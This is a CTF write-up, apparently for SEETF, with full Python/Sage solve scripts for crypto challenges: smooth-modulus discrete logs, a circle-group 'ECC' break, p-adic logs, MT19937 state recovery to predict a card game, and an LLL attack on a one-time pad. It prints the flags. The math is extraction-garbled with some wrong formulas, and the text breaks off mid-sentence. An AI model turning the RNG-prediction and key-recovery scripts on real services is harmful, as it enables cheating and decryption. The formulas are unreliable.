Finding dd involves solving a DLP, so ensure p1p-1 and q1q-1 are smooth during brute force, then solve the DLP to get the flag.

from pwn import *
from Crypto.Util.number import *
from sage.all import GF, crt, factor
import json

context.log_level = "debug"


def nextPrime(x):
    x += 1
    while not isPrime(x):
        x += 1
    return x


def smoothEnough(x):
    fs = factor(x)
    return all([p < 2**40 for p, _ in fs])


def findSmooth(x):
    p = nextPrime(x)
    while not smoothEnough(p - 1):
        p = nextPrime(p)
    return p


io = remote("fun.chall.seetf.sg", 30002)
io.recvuntil(b'token is "')
token = io.recvuntilS(b'"')[:-1]
print(token)
js = json.dumps({"token": token})
js2 = json.dumps({"token": token, "flag": 1})

p = findSmooth(314159265358979300000000000000000000000)
q = findSmooth(271828182845904500000000000000000000000)

while True:
    print(float(p), float(q))

    g = pow(bytes_to_long(js.encode()), 65537, p * q)
    y = bytes_to_long(js2.replace(" ", "").encode()) % (p * q)
    try:
        dp = GF(p)(y).log(g)
        dq = GF(q)(y).log(g)
        d = int(crt([int(dp), int(dq)], [p - 1, q - 1]))
    except Exception as ex:
        print(ex)
        p = findSmooth(p)
        q = findSmooth(q)
        continue
    break

print(p, q, d)
io.sendlineafter(b"p=", str(p).encode())
io.sendlineafter(b"q=", str(q).encode())
io.sendlineafter(b"d=", str(d).encode())
io.interactive()
# SEE{pohlig-hellman_easy_as_pie_db01d3f24beda43e}

The True ECC

This challenge involves Diffie-Hellman on an elliptic curve E:x2+ay2=1E: x^2+ay^2=1 over Fp\mathbf{F}_p, requiring the shared secret to decrypt the flag.

The group law addition is defined as:

(x,y)+(w,z)=(xwayz,xz+yw)(x,y)+(w,z)=(xw-ayz,xz+yw)

Using Brahmagupta's identity verifies the addition remains on the elliptic curve EE.

Mapping to a group with an easily computable order helps solve the DLP.

Define φ:GFp[i]/(i2+a)\varphi:G \rightarrow \mathbb{F}_p[i]/(i^2+a):

φ(x,y)=x+yi\varphi(x,y)=x+yi

Verify φ\varphi is a group homomorphism:

φ(x,y)φ(w,z)=(x+yi)(w+zi)=(xwayz+(xz+yw)i)=φ(xsayz,xz+yw)=φ((x,y)+(w,z))\begin{aligned} \varphi(x,y)\varphi(w,z)&=(x+yi)(w+zi) \\ &=(xw-ayz+(xz+yw)i) \\ &=\varphi(xs-ayz,xz+yw) \\ &=\varphi((x,y)+(w,z)) \\ \end{aligned}

The group order is p21=(p+1)(p1)p^2-1=(p+1)(p-1), but testing shows the generator GG belongs to p+1p+1. With p+1=2521p+1=2^{521} being smooth, solve the DLP.

a, p = 376014, (1 << 521) - 1
F.<i> = GF(p ^ 2, modulus=x ^ 2 + a)

gx = 0x1bcfc82fca1e29598bd932fc4b8c573265e055795ba7d68ca3985a78bb57237b9ca042ab545a66b352655a10b4f60785ba308b060d9b7df2a651ca94eeb63b86fdb
gy = 0xca00d73e3d1570e6c63b506520c4fcc0151130a7f655b0d15ae3227423f304e1f7ffa73198f306d67a24c142b23f72adac5f166da5df68b669bbfda9fb4ef15f8e
ax, ay = (
    2138196312148079184382240325330500803425686967483863166176111074666553873369606997586883533252879522314508512610120185663459330505669976143538280185135503158,
    1350098408534349199229781714086607605984656432458083815306756044307591092126215092360795039519565477039721903019874871683998662788499599535946383133093677646,
)
bx, by = (
    4568773897927114993549462717422746966489956811871132275386853917467440322628373530720948282919382453518184702625364310911519327021756484938266990998628406420,
    3649097172525610846241260554130988388479998230434661435854337888813320693155483292808012277418005770847521067027991154263171652473498536483631820529350606213,
)
ct = b"q\xfa\xf2\xe5\xe3\xba.H\xa5\x07az\xc0;\xc4%\xdf\xfe\xa0MI>o8\x96M\xb0\xfe]\xb2\xfdi\x8e\x9e\xea\x9f\xca\x98\xf9\x95\xe6&\x1fB\xd5\x0b\xf2\xeb\xac\x18\x82\xdcu\xd5\xd5\x8e<\xb3\xe4\x85e\xddX\xca0;\xe2G\xef7\\uM\x8d0A\xde+\x9fu"

def phi(x,y):
    return x+y*i

a = phi(ax, ay).log(phi(gx, gy))

from ecc import Point, curve, decrypt

B = Point(curve, int(bx), int(by))
shared = B * int(a)
print(decrypt(shared, ct))
# SEE{W4it_whaT_do_y0u_meaN_Ecc_d0esnt_Us3_e1Lipses}

Related challenges:

DLP

This challenge involves n=p1e1p2e2n=p_1^{e_1} p_2^{e_2} \cdots, where pip_i are around 256 bits and ei[1,10]e_i \in [1,10]. The goal is to find mm in y=gmy=g^m, solving the DLP.

The order of gg is p1e11p2e21p_1^{e_1-1} p_2^{e_2-1} \cdots, requiring special attention.

This reminded me of m0leCon CTF 2021 Teaser — Giant log, which used p-adic discrete log to compute xmodpe1x \bmod{p^{e-1}}, as the difficult part is xmodp1x \bmod{p-1}.

This method extends this binomial theorem.

from hashlib import sha256
from params import g, gm, n

# for some unknown reason, not converting python int to sage ZZ will make it really slow (4s vs 31s)
# probably it is because python's bigint isn't as good as sage?
g = ZZ(g)
gm = ZZ(gm)

primes, power = n
n = product(p**w for p, w in zip(primes, power))

rem = []
mod = []
for p, e in zip(primes, power):
    R = Zp(p, prec=e)
    x = (R(gm).log() / R(g).log()).lift()
    assert power_mod(g, x, p**e) == gm % (p**e)
    rem.append(x)
    mod.append(p ** (e - 1))

m = int(crt(rem, mod))
assert power_mod(g, m, n) == gm
print("SEE{%s}" % sha256(m.to_bytes((m.bit_length() + 7) // 8, "little")).hexdigest())
# SEE{ca66f51d61e23518c23994777ab1ad2f1c7c4be09ed3d56b91108cf0666d49d1}

Alternatively, see this Math SE question. The method involves finding a homomorphism θ:ZpsZps1+\theta:\mathbb{Z}_{p^s}^*\to \mathbb{Z}_{p^{s-1}}^+, turning the DLP into a modular inverse problem.

# This function is from Discord, by @wiwam845
def theta(x, p, power):
    n = p**power
    pp = p ** (power - 1)
    ppp = p ** (2 * power - 1)
    return int(pow(x, 2 * pp, ppp) - 1) // n


g = pow(2, (p - 1), p**e)
x = randint(1, p**e)
y = pow(g, x, p**e)
tg = theta(g, p, e)
ty = theta(y, p, e)
assert ty * pow(tg, -1, p ** (e - 1)) % (p ** (e - 1)) == x % (p ** (e - 1))

*Probability

I only solved the Crypto part during the competition; the Algorithm part remained unsolved QQ

The challenge involves a Blackjack-like game, winning 800 out of 1337 times for the flag. Each round draws random.random() output, and exceeding 1.0 results in a bust. The dealer cheats, drawing until exceeding the player's score, making it disadvantageous.

The Crypto part involves predicting random.random() output. Examining CPython's implementation reveals:

def random():
    a = getrandbits(32) >> 5
    b = getrandbits(32) >> 6
    return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)

With 67108864 being 2**26, two truncated outputs can be derived from one output. Using JuliaPoo/MT19937-Symbolic-Execution-and-Solver, collecting 1248 16-bit outputs (equivalent to 624 random.random()) allows perfect future prediction.

The remaining task is finding the optimal strategy using known future outputs, likely involving dynamic programming. Details are in the author's writeup.

I used a primitive DFS brute force without additional memory, limiting the search depth to around 750 wins.

from pwn import *
import sys
import numpy as np
from subprocess import Popen, PIPE

sys.path.append("./MT19937-Symbolic-Execution-and-Solver/source")
from MT19937 import MT19937, MT19937_symbolic
from XorSolver import XorSolver

io = process(["python", "probability.py"])
# io = remote("fun.chall.seetf.sg", 30001)


def toab(f):
    v = int(f * 9007199254740992.0)
    b = v % 67108864
    a = v // 67108864
    return a, b


# context.log_level = 'debug'
nbits = 16
data = []
while len(data) < 2 * 624:
    print(len(data))

    # recv float
    io.recvuntil(b"[")
    f = float(io.recvuntil(b"]")[:-1])
    a, b = toab(f)
    data.append(a >> 11)
    data.append(b >> 10)

    io.recvline()
    if io.recvn(2) == b"Do":
        # Do you want to hit or stand?
        if f < 0.57:
            io.sendline(b"h")
            continue
        else:
            io.sendline(b"s")
            while True:
                l = io.recvlineS().strip()
                if "draws" not in l:
                    break
                f = float(l.split("[")[1].split("]")[0])
                a, b = toab(f)
                data.append(a >> 11)
                data.append(b >> 10)
    else:
        # You have gone bust. Dealer wins!
        pass


def randfloat(rng):
    a = rng() >> 5
    b = rng() >> 6
    return (a * 67108864.0 + b) * (1.0 / 9007199254740992.0)


def clone(rng):
    return MT19937(state=rng.state[:], ind=rng.ind)


def get_future_n(rng, n):
    c = clone(rng)
    return [randfloat(c) for _ in range(n)]


rng = MT19937(state_from_data=(data, nbits))
for _ in range(len(data) // 2):
    randfloat(rng)


r = io.recvuntil(b"Round", timeout=1)
for _ in range(r.count(b"[")):
    randfloat(rng)
if r:
    io.recvline()


def find_best(cur, future):
    def sim(cur, future, choices):
        if cur + future[0] < 1.0:
            yield from sim(cur + future[0], future[1:], choices + ["h"])
        dealer = 0
        i = 0
        while dealer <= cur:
            dealer += future[i]
            i += 1
        yield (choices + ["s"], dealer >= 1.0, future[i:])


def calc_dealer(cur, future):
    dealer = 0
    i = 0
    while dealer <= cur:
        dealer += future[i]
        i += 1
    return dealer, future[i:]


# def traverse(cur, future, depth=0):
#     if depth >= 20:
#         return 0, 0, []
#     ar = []
#     ch = []
#     while cur < 1.0:
#         dealer, ff = calc_dealer(cur, future)
#         win, lose, path = traverse(ff[0], ff[1:], depth + 1)
#         if dealer >= 1:
#             win += 1
#         else:
#             lose += 1
#         ar.append((win, lose, ch + ["s"] + path))
#         cur += future[0]
#         future = future[1:]
#         ch.append("h")
#     mxrate = -1
#     mxwin = -1
#     mxlose = -1
#     mxpath = None
#     for win, lose, path in ar:
#         rate = win / lose if lose > 0 else 10000
#         if rate > mxrate:
#             mxrate = rate
#             mxwin = win
#             mxlose = lose
#             mxpath = path
#     return mxwin, mxlose, mxpath


def otraverse(cur, future, depth=0):
    if depth >= 15:
        return 0, 0, []
    ar = []
    ch = []
    while cur < 1.0:
        dealer, ff = calc_dealer(cur, future)
        win, lose, path = otraverse(ff[0], ff[1:], depth + 1)
        if dealer >= 1:
            win += 1
        else:
            lose += 1
        rate = win / lose if lose > 0 else 0
        if rate >= 1.8:
            return win, lose, ch + ["s"] + path
        ar.append((win, lose, ch + ["s"] + path))
        cur += future[0]
        future = future[1:]
        ch.append("h")
    mxrate = -1
    mxwin = -1
    mxlose = -1
    mxpath = None
    for win, lose, path in ar:
        rate = win / lose if lose > 0 else 10000
        if rate > mxrate:
            mxrate = rate
            mxwin = win
            mxlose = lose
            mxpath = path
    return mxwin, mxlose, mxpath

def traverse(cur, future, depth=0):
    # C++ version of `otraverse`, not really faster...
    p = Popen(["./fast_traverse"], stdin=PIPE, stdout=PIPE, stderr=PIPE)
    stdin = str(len(future)) + "\n" 
    stdin += "".join(map(str,future)) + "\n"
    stdin += str(cur)
    stdout, stderr = p.communicate(stdin.encode())
    # print(stdout.decode())
    # print(otraverse(cur,future,depth))
    # print(cur)
    # exit()
    win, lose, path = stdout.decode().strip().split('\n')
    return int(win), int(lose), list(path)

# context.log_level = "debug"
while True:
    l = io.recvlineS().strip()
    print(l)
    f = float(l.split("[")[1].split("]")[0])
    r = randfloat(rng)
    while r != f:
        r = randfloat(rng)
    cur = float(l.split("p1 = ")[1].split(")")[0])
    future = np.array(get_future_n(rng, 4096))
    win, lose, path = otraverse(cur, future)
    print(win, lose, path)
    io.sendline("\n".join(path).encode())
    for x in path:
        io.recvuntil(b"Do you want to hit or stand? ")
    # for x in path:
    #     io.sendlineafter(b"Do you want to hit or stand? ", x.encode())
    io.recvuntil(b"Score: ")
    w, l = map(int, io.recvlineS().strip().split('-'))
    if l>=1337-800:
        print('lose')
        exit(1)
    print(w, l)
    io.recvline()
    io.recvline()

io.interactive()

I learned more about MT19937, especially the number of outputs needed to restore the state. Initially, I thought the formula was needed_samples = ceil(19937 / bits_per_sample), but testing showed otherwise. For 16~31 bits, at least 2 * 624 samples are needed to fully restore the PRNG, with any missing sample causing errors. This is likely due to MT19937's properties, making the linear system not full rank despite more bits. From here, the actual required samples are 624 * int(31.9 // bits_per_sample + 1).

Neutrality

from secrets import randbits
from Crypto.Util.number import bytes_to_long

# get a one-time-pad in which exactly half the bits are set
def get_xorpad(bitlength):
    xorpad = randbits(bitlength)
    return xorpad if bin(xorpad).count('1') == bitlength // 2 else get_xorpad(bitlength)

def leak_encrypted_flag():
    from secret import flag
    return bytes_to_long(flag.encode()) ^ get_xorpad(len(flag) * 8)

# I managed to leak the encrypted flag a few times
if __name__ == '__main__':
    for _ in range(200):
        print(leak_encrypted_flag())

A 320-bit flag is encrypted using a 200-time one-time pad. The special feature is the one-time pad having balanced 1 and 0 counts (160 each).

My approach is to find the flag ff such that the Hamming distance between any ciphertext cic_i and ff is 160. This problem resembles finding the center of multiple points, but with Hamming distance.

Expressing the flag ff as f0,f1,,f319f_0, f_1, \cdots, f_{319}, for each cic_i:

j=0j=319(fjci,j)2=160\prod_{j=0}^{j=319}(f_j-c_{i,j})^2=160

To simplify, subtracting pairs yields 119 linear equations. With 320 unknowns and 119 equations, it's an underdetermined system, unsolvable by standard methods.

However, the condition fj{0,1}f_j \in \{0,1\} suggests using LLL.

L=[KAIKbO]L= \begin{bmatrix} KA^\intercal & I \\ -Kb^\intercal & O \end{bmatrix}

Using a large constant KK, applying LLL should yield a short vector [0,f][0,f]. Testing shows success with around 280 unknowns, but more